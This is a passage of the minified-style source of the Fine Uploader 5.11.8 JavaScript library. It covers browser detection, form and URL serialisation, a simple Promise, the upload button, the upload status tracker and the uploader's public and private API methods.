            return navigator.userAgent.indexOf("iPad") !== -1 || navigator.userAgent.indexOf("iPod") !== -1 || navigator.userAgent.indexOf("iPhone") !== -1;
        };
        qq.iosChrome = function() {
            return qq.ios() && navigator.userAgent.indexOf("CriOS") !== -1;
        };
        qq.iosSafari = function() {
            return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf("Safari") !== -1;
        };
        qq.iosSafariWebView = function() {
            return qq.ios() && !qq.iosChrome() && !qq.iosSafari();
        };
        qq.preventDefault = function(e) {
            if (e.preventDefault) {
                e.preventDefault();
            } else {
                e.returnValue = false;
            }
        };
        qq.toElement = function() {
            var div = document.createElement("div");
            return function(html) {
                div.innerHTML = html;
                var element = div.firstChild;
                div.removeChild(element);
                return element;
            };
        }();
        qq.each = function(iterableItem, callback) {
            var keyOrIndex, retVal;
            if (iterableItem) {
                if (window.Storage && iterableItem.constructor === window.Storage) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));
                        if (retVal === false) {
                            break;
                        }
                    }
                } else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);
                        if (retVal === false) {
                            break;
                        }
                    }
                } else if (qq.isString(iterableItem)) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));
                        if (retVal === false) {
                            break;
                        }
                    }
                } else {
                    for (keyOrIndex in iterableItem) {
                        if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {
                            retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);
                            if (retVal === false) {
                                break;
                            }
                        }
                    }
                }
            }
        };
        qq.bind = function(oldFunc, context) {
            if (qq.isFunction(oldFunc)) {
                var args = Array.prototype.slice.call(arguments, 2);
                return function() {
                    var newArgs = qq.extend([], args);
                    if (arguments.length) {
                        newArgs = newArgs.concat(Array.prototype.slice.call(arguments));
                    }
                    return oldFunc.apply(context, newArgs);
                };
            }
            throw new Error("first parameter must be a function!");
        };
        qq.obj2url = function(obj, temp, prefixDone) {
            var uristrings = [], prefix = "&", add = function(nextObj, i) {
                var nextTemp = temp ? /\[\]$/.test(temp) ? temp : temp + "[" + i + "]" : i;
                if (nextTemp !== "undefined" && i !== "undefined") {
                    uristrings.push(typeof nextObj === "object" ? qq.obj2url(nextObj, nextTemp, true) : Object.prototype.toString.call(nextObj) === "[object Function]" ? encodeURIComponent(nextTemp) + "=" + encodeURIComponent(nextObj()) : encodeURIComponent(nextTemp) + "=" + encodeURIComponent(nextObj));
                }
            };
            if (!prefixDone && temp) {
                prefix = /\?/.test(temp) ? /\?$/.test(temp) ? "" : "&" : "?";
                uristrings.push(temp);
                uristrings.push(qq.obj2url(obj));
            } else if (Object.prototype.toString.call(obj) === "[object Array]" && typeof obj !== "undefined") {
                qq.each(obj, function(idx, val) {
                    add(val, idx);
                });
            } else if (typeof obj !== "undefined" && obj !== null && typeof obj === "object") {
                qq.each(obj, function(prop, val) {
                    add(val, prop);
                });
            } else {
                uristrings.push(encodeURIComponent(temp) + "=" + encodeURIComponent(obj));
            }
            if (temp) {
                return uristrings.join(prefix);
            } else {
                return uristrings.join(prefix).replace(/^&/, "").replace(/%20/g, "+");
            }
        };
        qq.obj2FormData = function(obj, formData, arrayKeyName) {
            if (!formData) {
                formData = new FormData();
            }
            qq.each(obj, function(key, val) {
                key = arrayKeyName ? arrayKeyName + "[" + key + "]" : key;
                if (qq.isObject(val)) {
                    qq.obj2FormData(val, formData, key);
                } else if (qq.isFunction(val)) {
                    formData.append(key, val());
                } else {
                    formData.append(key, val);
                }
            });
            return formData;
        };
        qq.obj2Inputs = function(obj, form) {
            var input;
            if (!form) {
                form = document.createElement("form");
            }
            qq.obj2FormData(obj, {
                append: function(key, val) {
                    input = document.createElement("input");
                    input.setAttribute("name", key);
                    input.setAttribute("value", val);
                    form.appendChild(input);
                }
            });
            return form;
        };
        qq.parseJson = function(json) {
            if (window.JSON && qq.isFunction(JSON.parse)) {
                return JSON.parse(json);
            } else {
                return eval("(" + json + ")");
            }
        };
        qq.getExtension = function(filename) {
            var extIdx = filename.lastIndexOf(".") + 1;
            if (extIdx > 0) {
                return filename.substr(extIdx, filename.length - extIdx);
            }
        };
        qq.getFilename = function(blobOrFileInput) {
            if (qq.isInput(blobOrFileInput)) {
                return blobOrFileInput.value.replace(/.*(\/|\\)/, "");
            } else if (qq.isFile(blobOrFileInput)) {
                if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {
                    return blobOrFileInput.fileName;
                }
            }
            return blobOrFileInput.name;
        };
        qq.DisposeSupport = function() {
            var disposers = [];
            return {
                dispose: function() {
                    var disposer;
                    do {
                        disposer = disposers.shift();
                        if (disposer) {
                            disposer();
                        }
                    } while (disposer);
                },
                attach: function() {
                    var args = arguments;
                    this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));
                },
                addDisposer: function(disposeFunction) {
                    disposers.push(disposeFunction);
                }
            };
        };
    })();
    (function() {
        "use strict";
        if (typeof define === "function" && define.amd) {
            define(function() {
                return qq;
            });
        } else if (typeof module !== "undefined" && module.exports) {
            module.exports = qq;
        } else {
            global.qq = qq;
        }
    })();
    (function() {
        "use strict";
        qq.Error = function(message) {
            this.message = "[Fine Uploader " + qq.version + "] " + message;
        };
        qq.Error.prototype = new Error();
    })();
    qq.version = "5.11.8";
    qq.supportedFeatures = function() {
        "use strict";
        var supportsUploading, supportsUploadingBlobs, supportsFileDrop, supportsAjaxFileUploading, supportsFolderDrop, supportsChunking, supportsResume, supportsUploadViaPaste, supportsUploadCors, supportsDeleteFileXdr, supportsDeleteFileCorsXhr, supportsDeleteFileCors, supportsFolderSelection, supportsImagePreviews, supportsUploadProgress;
        function testSupportsFileInputElement() {
            var supported = true, tempInput;
            try {
                tempInput = document.createElement("input");
                tempInput.type = "file";
                qq(tempInput).hide();
                if (tempInput.disabled) {
                    supported = false;
                }
            } catch (ex) {
                supported = false;
            }
            return supported;
        }
        function isChrome21OrHigher() {
            return (qq.chrome() || qq.opera()) && navigator.userAgent.match(/Chrome\/[2][1-9]|Chrome\/[3-9][0-9]/) !== undefined;
        }
        function isChrome14OrHigher() {
            return (qq.chrome() || qq.opera()) && navigator.userAgent.match(/Chrome\/[1][4-9]|Chrome\/[2-9][0-9]/) !== undefined;
        }
        function isCrossOriginXhrSupported() {
            if (window.XMLHttpRequest) {
                var xhr = qq.createXhrInstance();
                return xhr.withCredentials !== undefined;
            }
            return false;
        }
        function isXdrSupported() {
            return window.XDomainRequest !== undefined;
        }
        function isCrossOriginAjaxSupported() {
            if (isCrossOriginXhrSupported()) {
                return true;
            }
            return isXdrSupported();
        }
        function isFolderSelectionSupported() {
            return document.createElement("input").webkitdirectory !== undefined;
        }
        function isLocalStorageSupported() {
            try {
                return !!window.localStorage && qq.isFunction(window.localStorage.setItem);
            } catch (error) {
                return false;
            }
        }
        function isDragAndDropSupported() {
            var span = document.createElement("span");
            return ("draggable" in span || "ondragstart" in span && "ondrop" in span) && !qq.android() && !qq.ios();
        }
        supportsUploading = testSupportsFileInputElement();
        supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();
        supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();
        supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();
        supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();
        supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();
        supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();
        supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();
        supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);
        supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();
        supportsDeleteFileXdr = isXdrSupported();
        supportsDeleteFileCors = isCrossOriginAjaxSupported();
        supportsFolderSelection = isFolderSelectionSupported();
        supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;
        supportsUploadProgress = function() {
            if (supportsAjaxFileUploading) {
                return !qq.androidStock() && !qq.iosChrome();
            }
            return false;
        }();
        return {
            ajaxUploading: supportsAjaxFileUploading,
            blobUploading: supportsUploadingBlobs,
            canDetermineSize: supportsAjaxFileUploading,
            chunking: supportsChunking,
            deleteFileCors: supportsDeleteFileCors,
            deleteFileCorsXdr: supportsDeleteFileXdr,
            deleteFileCorsXhr: supportsDeleteFileCorsXhr,
            dialogElement: !!window.HTMLDialogElement,
            fileDrop: supportsFileDrop,
            folderDrop: supportsFolderDrop,
            folderSelection: supportsFolderSelection,
            imagePreviews: supportsImagePreviews,
            imageValidation: supportsImagePreviews,
            itemSizeValidation: supportsAjaxFileUploading,
            pause: supportsChunking,
            progressBar: supportsUploadProgress,
            resume: supportsResume,
            scaling: supportsImagePreviews && supportsUploadingBlobs,
            tiffPreviews: qq.safari(),
            unlimitedScaledImageSize: !qq.ios(),
            uploading: supportsUploading,
            uploadCors: supportsUploadCors,
            uploadCustomHeaders: supportsAjaxFileUploading,
            uploadNonMultipart: supportsAjaxFileUploading,
            uploadViaPaste: supportsUploadViaPaste
        };
    }();
    qq.isGenericPromise = function(maybePromise) {
        "use strict";
        return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));
    };
    qq.Promise = function() {
        "use strict";
        var successArgs, failureArgs, successCallbacks = [], failureCallbacks = [], doneCallbacks = [], state = 0;
        qq.extend(this, {
            then: function(onSuccess, onFailure) {
                if (state === 0) {
                    if (onSuccess) {
                        successCallbacks.push(onSuccess);
                    }
                    if (onFailure) {
                        failureCallbacks.push(onFailure);
                    }
                } else if (state === -1) {
                    onFailure && onFailure.apply(null, failureArgs);
                } else if (onSuccess) {
                    onSuccess.apply(null, successArgs);
                }
                return this;
            },
            done: function(callback) {
                if (state === 0) {
                    doneCallbacks.push(callback);
                } else {
                    callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);
                }
                return this;
            },
            success: function() {
                state = 1;
                successArgs = arguments;
                if (successCallbacks.length) {
                    qq.each(successCallbacks, function(idx, callback) {
                        callback.apply(null, successArgs);
                    });
                }
                if (doneCallbacks.length) {
                    qq.each(doneCallbacks, function(idx, callback) {
                        callback.apply(null, successArgs);
                    });
                }
                return this;
            },
            failure: function() {
                state = -1;
                failureArgs = arguments;
                if (failureCallbacks.length) {
                    qq.each(failureCallbacks, function(idx, callback) {
                        callback.apply(null, failureArgs);
                    });
                }
                if (doneCallbacks.length) {
                    qq.each(doneCallbacks, function(idx, callback) {
                        callback.apply(null, failureArgs);
                    });
                }
                return this;
            }
        });
    };
    qq.BlobProxy = function(referenceBlob, onCreate) {
        "use strict";
        qq.extend(this, {
            referenceBlob: referenceBlob,
            create: function() {
                return onCreate(referenceBlob);
            }
        });
    };
    qq.UploadButton = function(o) {
        "use strict";
        var self = this, disposeSupport = new qq.DisposeSupport(), options = {
            acceptFiles: null,
            element: null,
            focusClass: "qq-upload-button-focus",
            folders: false,
            hoverClass: "qq-upload-button-hover",
            ios8BrowserCrashWorkaround: false,
            multiple: false,
            name: "qqfile",
            onChange: function(input) {},
            title: null
        }, input, buttonId;
        qq.extend(options, o);
        buttonId = qq.getUniqueId();
        function createInput() {
            var input = document.createElement("input");
            input.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME, buttonId);
            input.setAttribute("title", options.title);
            self.setMultiple(options.multiple, input);
            if (options.folders && qq.supportedFeatures.folderSelection) {
                input.setAttribute("webkitdirectory", "");
            }
            if (options.acceptFiles) {
                input.setAttribute("accept", options.acceptFiles);
            }
            input.setAttribute("type", "file");
            input.setAttribute("name", options.name);
            qq(input).css({
                position: "absolute",
                right: 0,
                top: 0,
                fontFamily: "Arial",
                fontSize: qq.ie() && !qq.ie8() ? "3500px" : "118px",
                margin: 0,
                padding: 0,
                cursor: "pointer",
                opacity: 0
            });
            !qq.ie7() && qq(input).css({
                height: "100%"
            });
            options.element.appendChild(input);
            disposeSupport.attach(input, "change", function() {
                options.onChange(input);
            });
            disposeSupport.attach(input, "mouseover", function() {
                qq(options.element).addClass(options.hoverClass);
            });
            disposeSupport.attach(input, "mouseout", function() {
                qq(options.element).removeClass(options.hoverClass);
            });
            disposeSupport.attach(input, "focus", function() {
                qq(options.element).addClass(options.focusClass);
            });
            disposeSupport.attach(input, "blur", function() {
                qq(options.element).removeClass(options.focusClass);
            });
            return input;
        }
        qq(options.element).css({
            position: "relative",
            overflow: "hidden",
            direction: "ltr"
        });
        qq.extend(this, {
            getInput: function() {
                return input;
            },
            getButtonId: function() {
                return buttonId;
            },
            setMultiple: function(isMultiple, optInput) {
                var input = optInput || this.getInput();
                if (options.ios8BrowserCrashWorkaround && qq.ios8() && (qq.iosChrome() || qq.iosSafariWebView())) {
                    input.setAttribute("multiple", "");
                } else {
                    if (isMultiple) {
                        input.setAttribute("multiple", "");
                    } else {
                        input.removeAttribute("multiple");
                    }
                }
            },
            setAcceptFiles: function(acceptFiles) {
                if (acceptFiles !== options.acceptFiles) {
                    input.setAttribute("accept", acceptFiles);
                }
            },
            reset: function() {
                if (input.parentNode) {
                    qq(input).remove();
                }
                qq(options.element).removeClass(options.focusClass);
                input = null;
                input = createInput();
            }
        });
        input = createInput();
    };
    qq.UploadButton.BUTTON_ID_ATTR_NAME = "qq-button-id";
    qq.UploadData = function(uploaderProxy) {
        "use strict";
        var data = [], byUuid = {}, byStatus = {}, byProxyGroupId = {}, byBatchId = {};
        function getDataByIds(idOrIds) {
            if (qq.isArray(idOrIds)) {
                var entries = [];
                qq.each(idOrIds, function(idx, id) {
                    entries.push(data[id]);
                });
                return entries;
            }
            return data[idOrIds];
        }
        function getDataByUuids(uuids) {
            if (qq.isArray(uuids)) {
                var entries = [];
                qq.each(uuids, function(idx, uuid) {
                    entries.push(data[byUuid[uuid]]);
                });
                return entries;
            }
            return data[byUuid[uuids]];
        }
        function getDataByStatus(status) {
            var statusResults = [], statuses = [].concat(status);
            qq.each(statuses, function(index, statusEnum) {
                var statusResultIndexes = byStatus[statusEnum];
                if (statusResultIndexes !== undefined) {
                    qq.each(statusResultIndexes, function(i, dataIndex) {
                        statusResults.push(data[dataIndex]);
                    });
                }
            });
            return statusResults;
        }
        qq.extend(this, {
            addFile: function(spec) {
                var status = spec.status || qq.status.SUBMITTING, id = data.push({
                    name: spec.name,
                    originalName: spec.name,
                    uuid: spec.uuid,
                    size: spec.size == null ? -1 : spec.size,
                    status: status
                }) - 1;
                if (spec.batchId) {
                    data[id].batchId = spec.batchId;
                    if (byBatchId[spec.batchId] === undefined) {
                        byBatchId[spec.batchId] = [];
                    }
                    byBatchId[spec.batchId].push(id);
                }
                if (spec.proxyGroupId) {
                    data[id].proxyGroupId = spec.proxyGroupId;
                    if (byProxyGroupId[spec.proxyGroupId] === undefined) {
                        byProxyGroupId[spec.proxyGroupId] = [];
                    }
                    byProxyGroupId[spec.proxyGroupId].push(id);
                }
                data[id].id = id;
                byUuid[spec.uuid] = id;
                if (byStatus[status] === undefined) {
                    byStatus[status] = [];
                }
                byStatus[status].push(id);
                uploaderProxy.onStatusChange(id, null, status);
                return id;
            },
            retrieve: function(optionalFilter) {
                if (qq.isObject(optionalFilter) && data.length) {
                    if (optionalFilter.id !== undefined) {
                        return getDataByIds(optionalFilter.id);
                    } else if (optionalFilter.uuid !== undefined) {
                        return getDataByUuids(optionalFilter.uuid);
                    } else if (optionalFilter.status) {
                        return getDataByStatus(optionalFilter.status);
                    }
                } else {
                    return qq.extend([], data, true);
                }
            },
            reset: function() {
                data = [];
                byUuid = {};
                byStatus = {};
                byBatchId = {};
            },
            setStatus: function(id, newStatus) {
                var oldStatus = data[id].status, byStatusOldStatusIndex = qq.indexOf(byStatus[oldStatus], id);
                byStatus[oldStatus].splice(byStatusOldStatusIndex, 1);
                data[id].status = newStatus;
                if (byStatus[newStatus] === undefined) {
                    byStatus[newStatus] = [];
                }
                byStatus[newStatus].push(id);
                uploaderProxy.onStatusChange(id, oldStatus, newStatus);
            },
            uuidChanged: function(id, newUuid) {
                var oldUuid = data[id].uuid;
                data[id].uuid = newUuid;
                byUuid[newUuid] = id;
                delete byUuid[oldUuid];
            },
            updateName: function(id, newName) {
                data[id].name = newName;
            },
            updateSize: function(id, newSize) {
                data[id].size = newSize;
            },
            setParentId: function(targetId, parentId) {
                data[targetId].parentId = parentId;
            },
            getIdsInProxyGroup: function(id) {
                var proxyGroupId = data[id].proxyGroupId;
                if (proxyGroupId) {
                    return byProxyGroupId[proxyGroupId];
                }
                return [];
            },
            getIdsInBatch: function(id) {
                var batchId = data[id].batchId;
                return byBatchId[batchId];
            }
        });
    };
    qq.status = {
        SUBMITTING: "submitting",
        SUBMITTED: "submitted",
        REJECTED: "rejected",
        QUEUED: "queued",
        CANCELED: "canceled",
        PAUSED: "paused",
        UPLOADING: "uploading",
        UPLOAD_RETRYING: "retrying upload",
        UPLOAD_SUCCESSFUL: "upload successful",
        UPLOAD_FAILED: "upload failed",
        DELETE_FAILED: "delete failed",
        DELETING: "deleting",
        DELETED: "deleted"
    };
    (function() {
        "use strict";
        qq.basePublicApi = {
            addBlobs: function(blobDataOrArray, params, endpoint) {
                this.addFiles(blobDataOrArray, params, endpoint);
            },
            addInitialFiles: function(cannedFileList) {
                var self = this;
                qq.each(cannedFileList, function(index, cannedFile) {
                    self._addCannedFile(cannedFile);
                });
            },
            addFiles: function(data, params, endpoint) {
                this._maybeHandleIos8SafariWorkaround();
                var batchId = this._storedIds.length === 0 ? qq.getUniqueId() : this._currentBatchId, processBlob = qq.bind(function(blob) {
                    this._handleNewFile({
                        blob: blob,
                        name: this._options.blobs.defaultName
                    }, batchId, verifiedFiles);
                }, this), processBlobData = qq.bind(function(blobData) {
                    this._handleNewFile(blobData, batchId, verifiedFiles);
                }, this), processCanvas = qq.bind(function(canvas) {
                    var blob = qq.canvasToBlob(canvas);
                    this._handleNewFile({
                        blob: blob,
                        name: this._options.blobs.defaultName + ".png"
                    }, batchId, verifiedFiles);
                }, this), processCanvasData = qq.bind(function(canvasData) {
                    var normalizedQuality = canvasData.quality && canvasData.quality / 100, blob = qq.canvasToBlob(canvasData.canvas, canvasData.type, normalizedQuality);
                    this._handleNewFile({
                        blob: blob,
                        name: canvasData.name
                    }, batchId, verifiedFiles);
                }, this), processFileOrInput = qq.bind(function(fileOrInput) {
                    if (qq.isInput(fileOrInput) && qq.supportedFeatures.ajaxUploading) {
                        var files = Array.prototype.slice.call(fileOrInput.files), self = this;
                        qq.each(files, function(idx, file) {
                            self._handleNewFile(file, batchId, verifiedFiles);
                        });
                    } else {
                        this._handleNewFile(fileOrInput, batchId, verifiedFiles);
                    }
                }, this), normalizeData = function() {
                    if (qq.isFileList(data)) {
                        data = Array.prototype.slice.call(data);
                    }
                    data = [].concat(data);
                }, self = this, verifiedFiles = [];
                this._currentBatchId = batchId;
                if (data) {
                    normalizeData();
                    qq.each(data, function(idx, fileContainer) {
                        if (qq.isFileOrInput(fileContainer)) {
                            processFileOrInput(fileContainer);
                        } else if (qq.isBlob(fileContainer)) {
                            processBlob(fileContainer);
                        } else if (qq.isObject(fileContainer)) {
                            if (fileContainer.blob && fileContainer.name) {
                                processBlobData(fileContainer);
                            } else if (fileContainer.canvas && fileContainer.name) {
                                processCanvasData(fileContainer);
                            }
                        } else if (fileContainer.tagName && fileContainer.tagName.toLowerCase() === "canvas") {
                            processCanvas(fileContainer);
                        } else {
                            self.log(fileContainer + " is not a valid file container!  Ignoring!", "warn");
                        }
                    });
                    this.log("Received " + verifiedFiles.length + " files.");
                    this._prepareItemsForUpload(verifiedFiles, params, endpoint);
                }
            },
            cancel: function(id) {
                this._handler.cancel(id);
            },
            cancelAll: function() {
                var storedIdsCopy = [], self = this;
                qq.extend(storedIdsCopy, this._storedIds);
                qq.each(storedIdsCopy, function(idx, storedFileId) {
                    self.cancel(storedFileId);
                });
                this._handler.cancelAll();
            },
            clearStoredFiles: function() {
                this._storedIds = [];
            },
            continueUpload: function(id) {
                var uploadData = this._uploadData.retrieve({
                    id: id
                });
                if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {
                    return false;
                }
                if (uploadData.status === qq.status.PAUSED) {
                    this.log(qq.format("Paused file ID {} ({}) will be continued.  Not paused.", id, this.getName(id)));
                    this._uploadFile(id);
                    return true;
                } else {
                    this.log(qq.format("Ignoring continue for file ID {} ({}).  Not paused.", id, this.getName(id)), "error");
                }
                return false;
            },
            deleteFile: function(id) {
                return this._onSubmitDelete(id);
            },
            doesExist: function(fileOrBlobId) {
                return this._handler.isValid(fileOrBlobId);
            },
            drawThumbnail: function(fileId, imgOrCanvas, maxSize, fromServer, customResizeFunction) {
                var promiseToReturn = new qq.Promise(), fileOrUrl, options;
                if (this._imageGenerator) {
                    fileOrUrl = this._thumbnailUrls[fileId];
                    options = {
                        customResizeFunction: customResizeFunction,
                        maxSize: maxSize > 0 ? maxSize : null,
                        scale: maxSize > 0
                    };
                    if (!fromServer && qq.supportedFeatures.imagePreviews) {
                        fileOrUrl = this.getFile(fileId);
                    }
                    if (fileOrUrl == null) {
                        promiseToReturn.failure({
                            container: imgOrCanvas,
                            error: "File or URL not found."
                        });
                    } else {
                        this._imageGenerator.generate(fileOrUrl, imgOrCanvas, options).then(function success(modifiedContainer) {
                            promiseToReturn.success(modifiedContainer);
                        }, function failure(container, reason) {
                            promiseToReturn.failure({
                                container: container,
                                error: reason || "Problem generating thumbnail"
                            });
                        });
                    }
                } else {
                    promiseToReturn.failure({
                        container: imgOrCanvas,
                        error: "Missing image generator module"
                    });
                }
                return promiseToReturn;
            },
            getButton: function(fileId) {
                return this._getButton(this._buttonIdsForFileIds[fileId]);
            },
            getEndpoint: function(fileId) {
                return this._endpointStore.get(fileId);
            },
            getFile: function(fileOrBlobId) {
                return this._handler.getFile(fileOrBlobId) || null;
            },
            getInProgress: function() {
                return this._uploadData.retrieve({
                    status: [ qq.status.UPLOADING, qq.status.UPLOAD_RETRYING, qq.status.QUEUED ]
                }).length;
            },
            getName: function(id) {
                return this._uploadData.retrieve({
                    id: id
                }).name;
            },
            getParentId: function(id) {
                var uploadDataEntry = this.getUploads({
                    id: id
                }), parentId = null;
                if (uploadDataEntry) {
                    if (uploadDataEntry.parentId !== undefined) {
                        parentId = uploadDataEntry.parentId;
                    }
                }
                return parentId;
            },
            getResumableFilesData: function() {
                return this._handler.getResumableFilesData();
            },
            getSize: function(id) {
                return this._uploadData.retrieve({
                    id: id
                }).size;
            },
            getNetUploads: function() {
                return this._netUploaded;
            },
            getRemainingAllowedItems: function() {
                var allowedItems = this._currentItemLimit;
                if (allowedItems > 0) {
                    return allowedItems - this._netUploadedOrQueued;
                }
                return null;
            },
            getUploads: function(optionalFilter) {
                return this._uploadData.retrieve(optionalFilter);
            },
            getUuid: function(id) {
                return this._uploadData.retrieve({
                    id: id
                }).uuid;
            },
            log: function(str, level) {
                if (this._options.debug && (!level || level === "info")) {
                    qq.log("[Fine Uploader " + qq.version + "] " + str);
                } else if (level && level !== "info") {
                    qq.log("[Fine Uploader " + qq.version + "] " + str, level);
                }
            },
            pauseUpload: function(id) {
                var uploadData = this._uploadData.retrieve({
                    id: id
                });
                if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {
                    return false;
                }
                if (qq.indexOf([ qq.status.UPLOADING, qq.status.UPLOAD_RETRYING ], uploadData.status) >= 0) {
                    if (this._handler.pause(id)) {
                        this._uploadData.setStatus(id, qq.status.PAUSED);
                        return true;
                    } else {
                        this.log(qq.format("Unable to pause file ID {} ({}).", id, this.getName(id)), "error");
                    }
                } else {
                    this.log(qq.format("Ignoring pause for file ID {} ({}).  Not in progress.", id, this.getName(id)), "error");
                }
                return false;
            },
            reset: function() {
                this.log("Resetting uploader...");
                this._handler.reset();
                this._storedIds = [];
                this._autoRetries = [];
                this._retryTimeouts = [];
                this._preventRetries = [];
                this._thumbnailUrls = [];
                qq.each(this._buttons, function(idx, button) {
                    button.reset();
                });
                this._paramsStore.reset();
                this._endpointStore.reset();
                this._netUploadedOrQueued = 0;
                this._netUploaded = 0;
                this._uploadData.reset();
                this._buttonIdsForFileIds = [];
                this._pasteHandler && this._pasteHandler.reset();
                this._options.session.refreshOnReset && this._refreshSessionData();
                this._succeededSinceLastAllComplete = [];
                this._failedSinceLastAllComplete = [];
                this._totalProgress && this._totalProgress.reset();
            },
            retry: function(id) {
                return this._manualRetry(id);
            },
            scaleImage: function(id, specs) {
                var self = this;
                return qq.Scaler.prototype.scaleImage(id, specs, {
                    log: qq.bind(self.log, self),
                    getFile: qq.bind(self.getFile, self),
                    uploadData: self._uploadData
                });
            },
            setCustomHeaders: function(headers, id) {
                this._customHeadersStore.set(headers, id);
            },
            setDeleteFileCustomHeaders: function(headers, id) {
                this._deleteFileCustomHeadersStore.set(headers, id);
            },
            setDeleteFileEndpoint: function(endpoint, id) {
                this._deleteFileEndpointStore.set(endpoint, id);
            },
            setDeleteFileParams: function(params, id) {
                this._deleteFileParamsStore.set(params, id);
            },
            setEndpoint: function(endpoint, id) {
                this._endpointStore.set(endpoint, id);
            },
            setForm: function(elementOrId) {
                this._updateFormSupportAndParams(elementOrId);
            },
            setItemLimit: function(newItemLimit) {
                this._currentItemLimit = newItemLimit;
            },
            setName: function(id, newName) {
                this._uploadData.updateName(id, newName);
            },
            setParams: function(params, id) {
                this._paramsStore.set(params, id);
            },
            setUuid: function(id, newUuid) {
                return this._uploadData.uuidChanged(id, newUuid);
            },
            uploadStoredFiles: function() {
                if (this._storedIds.length === 0) {
                    this._itemError("noFilesError");
                } else {
                    this._uploadStoredFiles();
                }
            }
        };
        qq.basePrivateApi = {
            _addCannedFile: function(sessionData) {
                var id = this._uploadData.addFile({
                    uuid: sessionData.uuid,
                    name: sessionData.name,
                    size: sessionData.size,
                    status: qq.status.UPLOAD_SUCCESSFUL
                });
                sessionData.deleteFileEndpoint && this.setDeleteFileEndpoint(sessionData.deleteFileEndpoint, id);
                sessionData.deleteFileParams && this.setDeleteFileParams(sessionData.deleteFileParams, id);
                if (sessionData.thumbnailUrl) {
                    this._thumbnailUrls[id] = sessionData.thumbnailUrl;
                }
                this._netUploaded++;
                this._netUploadedOrQueued++;
                return id;
            },
            _annotateWithButtonId: function(file, associatedInput) {
                if (qq.isFile(file)) {
                    file.qqButtonId = this._getButtonId(associatedInput);
                }
            },
            _batchError: function(message) {
                this._options.callbacks.onError(null, null, message, undefined);
            },
            _createDeleteHandler: function() {
                var self = this;
                return new qq.DeleteFileAjaxRequester({
                    method: this._options.deleteFile.method.toUpperCase(),
                    maxConnections: this._options.maxConnections,
                    uuidParamName: this._options.request.uuidName,
                    customHeaders: this._deleteFileCustomHeadersStore,
                    paramsStore: this._deleteFileParamsStore,
                    endpointStore: this._deleteFileEndpointStore,
                    cors: this._options.cors,
                    log: qq.bind(self.log, self),
                    onDelete: function(id) {
                        self._onDelete(id);
                        self._options.callbacks.onDelete(id);
                    },
                    onDeleteComplete: function(id, xhrOrXdr, isError) {
                        self._onDeleteComplete(id, xhrOrXdr, isError);
                        self._options.callbacks.onDeleteComplete(id, xhrOrXdr, isError);
                    }
                });
            },
            _createPasteHandler: function() {
                var self = this;
                return new qq.PasteSupport({
                    targetElement: this._options.paste.targetElement,
                    callbacks: {
                        log: qq.bind(self.log, self),
                        pasteReceived: function(blob) {
                            self._handleCheckedCallback({
                                name: "onPasteReceived",
                                callback: qq.bind(self._options.callbacks.onPasteReceived, self, blob),
                                onSuccess: qq.bind(self._handlePasteSuccess, self, blob),
                                identifier: "pasted image"
                            });
                        }
                    }
                });
            },
            _createStore: function(initialValue, _readOnlyValues_) {
                var store = {}, catchall = initialValue, perIdReadOnlyValues = {}, readOnlyValues = _readOnlyValues_, copy = function(orig) {
                    if (qq.isObject(orig)) {
                        return qq.extend({}, orig);
                    }
                    return orig;
                }, getReadOnlyValues = function() {
                    if (qq.isFunction(readOnlyValues)) {
                        return readOnlyValues();
                    }
                    return readOnlyValues;
                }, includeReadOnlyValues = function(id, existing) {
                    if (readOnlyValues && qq.isObject(existing)) {
                        qq.extend(existing, getReadOnlyValues());
                    }
                    if (perIdReadOnlyValues[id]) {
                        qq.extend(existing, perIdReadOnlyValues[id]);
                    }
                };
                return {
                    set: function(val, id) {
                        if (id == null) {
                            store = {};
                            catchall = copy(val);
                        } else {
                            store[id] = copy(val);
                        }
                    },
                    get: function(id) {
                        var values;
                        if (id != null && store[id]) {
                            values = store[id];
                        } else {
                            values = copy(catchall);
                        }
                        includeReadOnlyValues(id, values);
                        return copy(values);
                    },
                    addReadOnly: function(id, values) {
                        if (qq.isObject(store)) {
                            if (id === null) {
                                if (qq.isFunction(values)) {
                                    readOnlyValues = values;
                                } else {
                                    readOnlyValues = readOnlyValues || {};
                                    qq.extend(readOnlyValues, values);
                                }
                            } else {
                                perIdReadOnlyValues[id] = perIdReadOnlyValues[id] || {};
                                qq.extend(perIdReadOnlyValues[id], values);
                            }
                        }
                    },
                    remove: function(fileId) {
                        return delete store[fileId];
                    },
                    reset: function() {
                        store = {};
                        perIdReadOnlyValues = {};
                        catchall = initialValue;
                    }
                };
            },
            _createUploadDataTracker: function() {
                var self = this;
                return new qq.UploadData({
                    getName: function(id) {
                        return self.getName(id);
                    },
                    getUuid: function(id) {
                        return self.getUuid(id);
                    },
                    getSize: function(id) {
                        return self.getSize(id);
                    },
                    onStatusChange: function(id, oldStatus, newStatus) {
